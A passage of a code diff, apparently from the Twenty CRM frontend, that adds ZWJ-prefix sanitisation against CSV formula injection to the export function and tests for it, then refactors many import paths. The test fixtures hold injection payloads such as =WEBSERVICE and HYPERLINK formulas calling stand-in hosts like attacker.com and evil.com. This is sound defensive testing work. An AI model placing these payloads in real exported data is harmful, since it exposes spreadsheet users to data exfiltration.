formula: '=WEBSERVICE("http://attacker.com")',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")`,
|
||||
);
|
||||
expect(csv).not.toContain(
|
||||
'1,Test User,=WEBSERVICE("http://attacker.com")',
|
||||
);
|
||||
expect(csv).toContain(
|
||||
`1,Test User,"${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://attacker.com"")"`,
|
||||
);
|
||||
});
|
||||
|
||||
it('prevents formula injection with plus sign using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Calculation',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'calculation' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
calculation: '+1+1',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}+1+1`);
|
||||
expect(csv).not.toContain('1,+1+1');
|
||||
});
|
||||
|
||||
it('prevents formula injection with minus sign using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Calculation',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'calculation' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
calculation: '-1+1',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}-1+1`);
|
||||
expect(csv).not.toContain('1,-1+1');
|
||||
});
|
||||
|
||||
it('prevents formula injection with at symbol using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Reference',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'reference' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
reference: '@SUM(1,1)',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}@SUM(1,1)`);
|
||||
expect(csv).not.toContain('1,@SUM(1,1)');
|
||||
});
|
||||
|
||||
it('prevents formula injection with tab character using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Data',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'data' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
data: '\t=WEBSERVICE("http://attacker.com")',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}\t=WEBSERVICE(""http://attacker.com"")`,
|
||||
);
|
||||
expect(csv).not.toContain('1,\t=WEBSERVICE("http://attacker.com")');
|
||||
});
|
||||
|
||||
it('prevents formula injection with carriage return using ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Data',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'data' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
data: '\r=WEBSERVICE("http://attacker.com")',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}\r=WEBSERVICE(""http://attacker.com"")`,
|
||||
);
|
||||
expect(csv).not.toContain('1,\r=WEBSERVICE("http://attacker.com")');
|
||||
});
|
||||
|
||||
it('handles multiple injection attempts in different fields with ZWJ prefix', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Field1',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'field1' },
|
||||
},
|
||||
{
|
||||
label: 'Field2',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'field2' },
|
||||
},
|
||||
{
|
||||
label: 'Field3',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'field3' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
field1: '=WEBSERVICE("http://evil.com")',
|
||||
field2: '+SUM(A1:A10)',
|
||||
field3: '-HYPERLINK("http://malicious.com")',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE(""http://evil.com"")`,
|
||||
);
|
||||
expect(csv).toContain(`${CSV_INJECTION_PREVENTION_ZWJ}+SUM(A1:A10)`);
|
||||
expect(csv).toContain(
|
||||
`${CSV_INJECTION_PREVENTION_ZWJ}-HYPERLINK(""http://malicious.com"")`,
|
||||
);
|
||||
|
||||
expect(csv).not.toContain('1,=WEBSERVICE("http://evil.com")');
|
||||
expect(csv).not.toContain(',+SUM(A1:A10)');
|
||||
expect(csv).not.toContain(',-HYPERLINK("http://malicious.com")');
|
||||
});
|
||||
|
||||
it('preserves legitimate content that does not start with dangerous characters', () => {
|
||||
const columns: Pick<
|
||||
ColumnDefinition<FieldMetadata>,
|
||||
'size' | 'label' | 'type' | 'metadata'
|
||||
>[] = [
|
||||
{
|
||||
label: 'Name',
|
||||
size: 100,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'name' },
|
||||
},
|
||||
{
|
||||
label: 'Email',
|
||||
size: 120,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'email' },
|
||||
},
|
||||
{
|
||||
label: 'Description',
|
||||
size: 200,
|
||||
type: FieldMetadataType.TEXT,
|
||||
metadata: { fieldName: 'description' },
|
||||
},
|
||||
];
|
||||
|
||||
const rows = [
|
||||
{
|
||||
id: '1',
|
||||
name: 'John Doe',
|
||||
email: 'john@example.com',
|
||||
description:
|
||||
'This is a normal description with = and + symbols in the middle',
|
||||
},
|
||||
];
|
||||
|
||||
const csv = generateCsv({ columns, rows });
|
||||
|
||||
expect(csv).toContain('John Doe');
|
||||
expect(csv).toContain('john@example.com');
|
||||
expect(csv).toContain(
|
||||
'This is a normal description with = and + symbols in the middle',
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('displayedExportProgress', () => {
|
||||
|
||||
+36
-6
@@ -12,7 +12,8 @@ import {
|
||||
import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition';
|
||||
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
|
||||
import { COMPOSITE_FIELD_SUB_FIELD_LABELS } from '@/settings/data-model/constants/CompositeFieldSubFieldLabel';
|
||||
import { escapeCSVValue } from '@/spreadsheet-import/utils/escapeCSVValue';
|
||||
import { formatValueForCSV } from '@/spreadsheet-import/utils/formatValueForCSV';
|
||||
import { sanitizeValueForCSVExport } from '@/spreadsheet-import/utils/sanitizeValueForCSVExport';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { saveAs } from 'file-saver';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
@@ -60,11 +61,10 @@ export const generateCsv: GenerateExport = ({
|
||||
const columnsToExportWithIdColumn = [objectIdColumn, ...columnsToExport];
|
||||
|
||||
const keys = columnsToExportWithIdColumn.flatMap((col) => {
|
||||
const headerLabel = `${col.label}${col.type === 'RELATION' ? ' Id' : ''}`;
|
||||
const column = {
|
||||
field: `${col.metadata.fieldName}${col.type === 'RELATION' ? 'Id' : ''}`,
|
||||
title: escapeCSVValue(
|
||||
`${col.label}${col.type === 'RELATION' ? ' Id' : ''}`,
|
||||
),
|
||||
title: formatValueForCSV(sanitizeValueForCSVExport(headerLabel)),
|
||||
};
|
||||
|
||||
const columnType = col.type;
|
||||
@@ -76,16 +76,46 @@ export const generateCsv: GenerateExport = ({
|
||||
const subFieldLabel = COMPOSITE_FIELD_SUB_FIELD_LABELS[columnType][key];
|
||||
return {
|
||||
field: `${column.field}.${key}`,
|
||||
title: `${column.title} / ${subFieldLabel}`,
|
||||
title: formatValueForCSV(
|
||||
sanitizeValueForCSVExport(`${column.title} / ${subFieldLabel}`),
|
||||
),
|
||||
};
|
||||
});
|
||||
|
||||
return nestedFieldsWithoutTypename;
|
||||
});
|
||||
|
||||
return json2csv(rows, {
|
||||
const sanitizedRows = rows.map((row) => {
|
||||
const sanitizedRow: Record<string, any> = {};
|
||||
|
||||
for (const [key, value] of Object.entries(row)) {
|
||||
// Apply ZWJ sanitization to all string values
|
||||
if (typeof value === 'string') {
|
||||
sanitizedRow[key] = sanitizeValueForCSVExport(value);
|
||||
} else if (isDefined(value) && typeof value === 'object') {
|
||||
// Handle nested objects (like composite fields)
|
||||
sanitizedRow[key] = {};
|
||||
for (const [nestedKey, nestedValue] of Object.entries(value)) {
|
||||
if (typeof nestedValue === 'string') {
|
||||
sanitizedRow[key][nestedKey] =
|
||||
sanitizeValueForCSVExport(nestedValue);
|
||||
} else {
|
||||
sanitizedRow[key][nestedKey] = nestedValue;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
sanitizedRow[key] = value;
|
||||
}
|
||||
}
|
||||
|
||||
return sanitizedRow;
|
||||
});
|
||||
|
||||
return json2csv(sanitizedRows, {
|
||||
keys,
|
||||
emptyFieldValue: '',
|
||||
// Note: We handle CSV injection prevention manually with ZWJ approach above
|
||||
// This preserves original which the csvSecurity option does not do
|
||||
});
|
||||
};
|
||||
|
||||
|
||||
+2
-2
@@ -1,8 +1,8 @@
|
||||
import { contextStoreCurrentViewIdComponentState } from '@/context-store/states/contextStoreCurrentViewIdComponentState';
|
||||
import { type ObjectMetadataItem } from '@/object-metadata/types/ObjectMetadataItem';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useRecoilComponentValue } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentValue';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { getAppPath } from 'twenty-shared/utils';
|
||||
import { getAppPath } from '~/utils/navigation/getAppPath';
|
||||
|
||||
export const useHandleIndexIdentifierClick = ({
|
||||
objectMetadataItem,
|
||||
|
||||
+1
-1
@@ -7,10 +7,10 @@ import { useRecordIndexContextOrThrow } from '@/object-record/record-index/conte
|
||||
import { recordIndexOpenRecordInState } from '@/object-record/record-index/states/recordIndexOpenRecordInState';
|
||||
import { currentRecordSortsComponentState } from '@/object-record/record-sort/states/currentRecordSortsComponentState';
|
||||
import { canOpenObjectInSidePanel } from '@/object-record/utils/canOpenObjectInSidePanel';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useRecoilComponentCallbackState } from '@/ui/utilities/state/component-state/hooks/useRecoilComponentCallbackState';
|
||||
import { ViewOpenRecordInType } from '@/views/types/ViewOpenRecordInType';
|
||||
import { useRecoilCallback } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
export const useOpenRecordFromIndexView = () => {
|
||||
|
||||
+1
-1
@@ -4,8 +4,8 @@ import { useRecoilValue } from 'recoil';
|
||||
import { useCommandMenu } from '@/command-menu/hooks/useCommandMenu';
|
||||
import { useFindManyRecordsSelectedInContextStore } from '@/context-store/hooks/useFindManyRecordsSelectedInContextStore';
|
||||
import { useMergeManyRecords } from '@/object-record/hooks/useMergeManyRecords';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
import { mergeSettingsState } from '../states/mergeSettingsState';
|
||||
|
||||
|
||||
+1
-1
@@ -7,8 +7,8 @@ import { useObjectMetadataItem } from '@/object-metadata/hooks/useObjectMetadata
|
||||
import { useFindManyRecords } from '@/object-record/hooks/useFindManyRecords';
|
||||
import { lastShowPageRecordIdState } from '@/object-record/record-field/ui/states/lastShowPageRecordId';
|
||||
import { useRecordIdsFromFindManyCacheRootQuery } from '@/object-record/record-show/hooks/useRecordIdsFromFindManyCacheRootQuery';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { useQueryVariablesFromParentView } from '@/views/hooks/useQueryVariablesFromParentView';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
/* eslint-disable @nx/workspace-no-navigate-prefer-link */
|
||||
import { RecordTableEmptyStateDisplay } from '@/object-record/record-table/empty-state/components/RecordTableEmptyStateDisplay';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { IconSettings } from 'twenty-ui/display';
|
||||
import { useNavigateSettings } from '~/hooks/useNavigateSettings';
|
||||
|
||||
|
||||
+1
-1
@@ -9,9 +9,9 @@ import { RecordTitleCellContainerType } from '@/object-record/record-title-cell/
|
||||
import { type ObjectRecord } from '@/object-record/types/ObjectRecord';
|
||||
import { canOpenObjectInSidePanel } from '@/object-record/utils/canOpenObjectInSidePanel';
|
||||
import { getRecordFieldInputInstanceId } from '@/object-record/utils/getRecordFieldInputId';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { ViewOpenRecordInType } from '@/views/types/ViewOpenRecordInType';
|
||||
import { useRecoilCallback } from 'recoil';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { v4 } from 'uuid';
|
||||
import { useNavigateApp } from '~/hooks/useNavigateApp';
|
||||
|
||||
+2
-2
@@ -7,16 +7,16 @@ import { useChangeRecordFieldVisibility } from '@/object-record/record-field/hoo
|
||||
import { type FieldMetadata } from '@/object-record/record-field/ui/types/FieldMetadata';
|
||||
import { useRecordTableContextOrThrow } from '@/object-record/record-table/contexts/RecordTableContext';
|
||||
import { type ColumnDefinition } from '@/object-record/record-table/types/ColumnDefinition';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuItemsContainer } from '@/ui/layout/dropdown/components/DropdownMenuItemsContainer';
|
||||
import { DropdownMenuSeparator } from '@/ui/layout/dropdown/components/DropdownMenuSeparator';
|
||||
import { useCloseDropdown } from '@/ui/layout/dropdown/hooks/useCloseDropdown';
|
||||
import { navigationMemorizedUrlState } from '@/ui/navigation/states/navigationMemorizedUrlState';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { IconSettings, useIcons } from 'twenty-ui/display';
|
||||
import { MenuItem, UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const RecordTableHeaderPlusButtonContent = () => {
|
||||
const { t } = useLingui();
|
||||
|
||||
+1
-1
@@ -2,9 +2,9 @@ import { type ConnectedAccount } from '@/accounts/types/ConnectedAccount';
|
||||
import { SettingsAccountsListEmptyStateCard } from '@/settings/accounts/components/SettingsAccountsListEmptyStateCard';
|
||||
import { SettingsConnectedAccountsTableHeader } from '@/settings/accounts/components/SettingsConnectedAccountsTableHeader';
|
||||
import { SettingsConnectedAccountsTableRow } from '@/settings/components/SettingsConnectedAccountsTableRow';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { Table } from '@/ui/layout/table/components/Table';
|
||||
import styled from '@emotion/styled';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { IconPlus } from 'twenty-ui/display';
|
||||
|
||||
+2
-2
@@ -5,13 +5,13 @@ import { useParams } from 'react-router-dom';
|
||||
|
||||
import { SaveAndCancelButtons } from '@/settings/components/SaveAndCancelButtons/SaveAndCancelButtons';
|
||||
import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
|
||||
import { Loader } from 'twenty-ui/feedback';
|
||||
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { useNavigateSettings } from '~/hooks/useNavigateSettings';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
import { NotFound } from '~/pages/not-found/NotFound';
|
||||
import { useImapSmtpCaldavConnectionForm } from '../hooks/useImapSmtpCaldavConnectionForm';
|
||||
|
||||
+3
-2
@@ -4,16 +4,17 @@ import { isMicrosoftCalendarEnabledState } from '@/client-config/states/isMicros
|
||||
import { isMicrosoftMessagingEnabledState } from '@/client-config/states/isMicrosoftMessagingEnabledState';
|
||||
import { useTriggerApisOAuth } from '@/settings/accounts/hooks/useTriggerApiOAuth';
|
||||
import { SettingsCard } from '@/settings/components/SettingsCard';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled';
|
||||
import { useTheme } from '@emotion/react';
|
||||
import styled from '@emotion/styled';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { useRecoilValue } from 'recoil';
|
||||
import { ConnectedAccountProvider, SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { ConnectedAccountProvider } from 'twenty-shared/types';
|
||||
import { IconAt, IconGoogle, IconMicrosoft } from 'twenty-ui/display';
|
||||
import { UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { FeatureFlagKey } from '~/generated-metadata/graphql';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
const StyledCardsContainer = styled.div`
|
||||
display: flex;
|
||||
|
||||
+2
-2
@@ -3,11 +3,11 @@ import { FormProvider } from 'react-hook-form';
|
||||
|
||||
import { SaveAndCancelButtons } from '@/settings/components/SaveAndCancelButtons/SaveAndCancelButtons';
|
||||
import { SettingsPageContainer } from '@/settings/components/SettingsPageContainer';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { SubMenuTopBarContainer } from '@/ui/layout/page/components/SubMenuTopBarContainer';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { useNavigateSettings } from '~/hooks/useNavigateSettings';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
import { SettingsAccountsConnectionForm } from '@/settings/accounts/components/SettingsAccountsConnectionForm';
|
||||
import { useImapSmtpCaldavConnectionForm } from '../hooks/useImapSmtpCaldavConnectionForm';
|
||||
|
||||
+2
-1
@@ -2,6 +2,7 @@ import { type ConnectedAccount } from '@/accounts/types/ConnectedAccount';
|
||||
import { CoreObjectNameSingular } from '@/object-metadata/types/CoreObjectNameSingular';
|
||||
import { useDestroyOneRecord } from '@/object-record/hooks/useDestroyOneRecord';
|
||||
import { useTriggerProviderReconnect } from '@/settings/accounts/hooks/useTriggerProviderReconnect';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { Dropdown } from '@/ui/layout/dropdown/components/Dropdown';
|
||||
import { DropdownContent } from '@/ui/layout/dropdown/components/DropdownContent';
|
||||
import { DropdownMenuItemsContainer } from '@/ui/layout/dropdown/components/DropdownMenuItemsContainer';
|
||||
@@ -9,7 +10,7 @@ import { useCloseDropdown } from '@/ui/layout/dropdown/hooks/useCloseDropdown';
|
||||
import { ConfirmationModal } from '@/ui/layout/modal/components/ConfirmationModal';
|
||||
import { useModal } from '@/ui/layout/modal/hooks/useModal';
|
||||
import { Trans, useLingui } from '@lingui/react/macro';
|
||||
import { ConnectedAccountProvider, SettingsPath } from 'twenty-shared/types';
|
||||
import { ConnectedAccountProvider } from 'twenty-shared/types';
|
||||
import {
|
||||
IconAt,
|
||||
IconCalendarEvent,
|
||||
|
||||
+3
-3
@@ -1,14 +1,14 @@
|
||||
import styled from '@emotion/styled';
|
||||
|
||||
import { SettingsCard } from '@/settings/components/SettingsCard';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useTheme } from '@emotion/react';
|
||||
import { useLingui } from '@lingui/react/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
import { H2Title, IconCalendarEvent, IconMailCog } from 'twenty-ui/display';
|
||||
import { MOBILE_VIEWPORT } from 'twenty-ui/theme';
|
||||
import { Section } from 'twenty-ui/layout';
|
||||
import { UndecoratedLink } from 'twenty-ui/navigation';
|
||||
import { MOBILE_VIEWPORT } from 'twenty-ui/theme';
|
||||
|
||||
const StyledCardsContainer = styled.div`
|
||||
display: flex;
|
||||
|
||||
+2
-1
@@ -2,7 +2,8 @@ import { act, renderHook } from '@testing-library/react';
|
||||
import { type ReactNode } from 'react';
|
||||
import { RecoilRoot } from 'recoil';
|
||||
|
||||
import { ConnectedAccountProvider, SettingsPath } from 'twenty-shared/types';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { ConnectedAccountProvider } from 'twenty-shared/types';
|
||||
import {
|
||||
CalendarChannelVisibility,
|
||||
MessageChannelVisibility,
|
||||
|
||||
+1
-1
@@ -6,8 +6,8 @@ import { useRecoilValue } from 'recoil';
|
||||
import { currentWorkspaceMemberState } from '@/auth/states/currentWorkspaceMemberState';
|
||||
import { useSnackBar } from '@/ui/feedback/snack-bar-manager/hooks/useSnackBar';
|
||||
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { t } from '@lingui/core/macro';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import {
|
||||
type ConnectionParameters,
|
||||
useSaveImapSmtpCaldavAccountMutation,
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import { type AppPath } from '@/types/AppPath';
|
||||
import { useCallback } from 'react';
|
||||
import { type AppPath, ConnectedAccountProvider } from 'twenty-shared/types';
|
||||
|
||||
import { useRedirect } from '@/domain-manager/hooks/useRedirect';
|
||||
import { CustomError } from '@/error-handler/CustomError';
|
||||
import { ConnectedAccountProvider } from 'twenty-shared/types';
|
||||
import { REACT_APP_SERVER_BASE_URL } from '~/config';
|
||||
import {
|
||||
type CalendarChannelVisibility,
|
||||
|
||||
+2
-1
@@ -1,7 +1,8 @@
|
||||
import { useCallback } from 'react';
|
||||
import { ConnectedAccountProvider, SettingsPath } from 'twenty-shared/types';
|
||||
import { ConnectedAccountProvider } from 'twenty-shared/types';
|
||||
|
||||
import { useTriggerApisOAuth } from '@/settings/accounts/hooks/useTriggerApiOAuth';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useNavigateSettings } from '~/hooks/useNavigateSettings';
|
||||
|
||||
export const useTriggerProviderReconnect = () => {
|
||||
|
||||
+2
-2
@@ -1,11 +1,11 @@
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { TableCell } from '@/ui/layout/table/components/TableCell';
|
||||
import { TableRow } from '@/ui/layout/table/components/TableRow';
|
||||
import { useTheme } from '@emotion/react';
|
||||
import styled from '@emotion/styled';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { IconChevronRight } from 'twenty-ui/display';
|
||||
import { type ConfigVariable } from '~/generated/graphql';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
type SettingsAdminConfigVariablesRowProps = {
|
||||
variable: ConfigVariable;
|
||||
|
||||
+2
-3
@@ -1,7 +1,6 @@
|
||||
import { SettingsListCard } from '@/settings/components/SettingsListCard';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useTheme } from '@emotion/react';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import {
|
||||
IconAppWindow,
|
||||
type IconComponent,
|
||||
@@ -14,7 +13,7 @@ import {
|
||||
HealthIndicatorId,
|
||||
type SystemHealthService,
|
||||
} from '~/generated-metadata/graphql';
|
||||
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
import { SettingsAdminHealthStatusRightContainer } from './SettingsAdminHealthStatusRightContainer';
|
||||
|
||||
const HealthStatusIcons: { [k in HealthIndicatorId]: IconComponent } = {
|
||||
|
||||
+1
-1
@@ -1,5 +1,5 @@
|
||||
import { useRedirectToWorkspaceDomain } from '@/domain-manager/hooks/useRedirectToWorkspaceDomain';
|
||||
import { AppPath } from 'twenty-shared/types';
|
||||
import { AppPath } from '@/types/AppPath';
|
||||
import { type WorkspaceUrls } from '~/generated/graphql';
|
||||
import { getWorkspaceUrl } from '~/utils/getWorkspaceUrl';
|
||||
|
||||
|
||||
+2
-1
@@ -4,7 +4,8 @@ import { AdvancedSettingsWrapper } from '@/settings/components/AdvancedSettingsW
|
||||
import { type SettingsNavigationItem } from '@/settings/hooks/useSettingsNavigationItems';
|
||||
import { NavigationDrawerItem } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerItem';
|
||||
import { type NavigationDrawerSubItemState } from '@/ui/navigation/navigation-drawer/types/NavigationDrawerSubItemState';
|
||||
import { getSettingsPath, isDefined } from 'twenty-shared/utils';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
type SettingsNavigationDrawerItemProps = {
|
||||
item: SettingsNavigationItem;
|
||||
|
||||
+1
-1
@@ -10,7 +10,7 @@ import { NavigationDrawerSection } from '@/ui/navigation/navigation-drawer/compo
|
||||
import { NavigationDrawerSectionTitle } from '@/ui/navigation/navigation-drawer/components/NavigationDrawerSectionTitle';
|
||||
import { getNavigationSubItemLeftAdornment } from '@/ui/navigation/navigation-drawer/utils/getNavigationSubItemLeftAdornment';
|
||||
import { matchPath, resolvePath, useLocation } from 'react-router-dom';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
export const SettingsNavigationDrawerItems = () => {
|
||||
const settingsNavigationItems: SettingsNavigationSection[] =
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
import { OBJECT_SETTINGS_WIDTH } from '@/settings/data-model/constants/ObjectSettings';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useIsMobile } from '@/ui/utilities/responsive/hooks/useIsMobile';
|
||||
import { ScrollWrapper } from '@/ui/utilities/scroll/components/ScrollWrapper';
|
||||
import { useScrollRestoration } from '@/ui/utilities/scroll/hooks/useScrollRestoration';
|
||||
import styled from '@emotion/styled';
|
||||
import { type ReactNode, useMemo } from 'react';
|
||||
import { matchPath, useLocation } from 'react-router-dom';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath, isDefined } from 'twenty-shared/utils';
|
||||
import { isDefined } from 'twenty-shared/utils';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
const StyledSettingsPageContainer = styled.div<{
|
||||
width?: number;
|
||||
|
||||
+2
-2
@@ -1,14 +1,14 @@
|
||||
import { useIsLogged } from '@/auth/hooks/useIsLogged';
|
||||
import { useHasPermissionFlag } from '@/settings/roles/hooks/useHasPermissionFlag';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
import { useIsFeatureEnabled } from '@/workspace/hooks/useIsFeatureEnabled';
|
||||
import { type ReactNode } from 'react';
|
||||
import { Navigate, Outlet } from 'react-router-dom';
|
||||
import { SettingsPath } from 'twenty-shared/types';
|
||||
import { getSettingsPath } from 'twenty-shared/utils';
|
||||
import {
|
||||
type FeatureFlagKey,
|
||||
type PermissionFlagType,
|
||||
} from '~/generated/graphql';
|
||||
import { getSettingsPath } from '~/utils/navigation/getSettingsPath';
|
||||
|
||||
type SettingsProtectedRouteWrapperProps = {
|
||||
children?: ReactNode;
|
||||
|
||||
+1
-1
@@ -1,4 +1,5 @@
|
||||
import { type SettingsFieldType } from '@/settings/data-model/types/SettingsFieldType';
|
||||
import { SettingsPath } from '@/types/SettingsPath';
|
||||
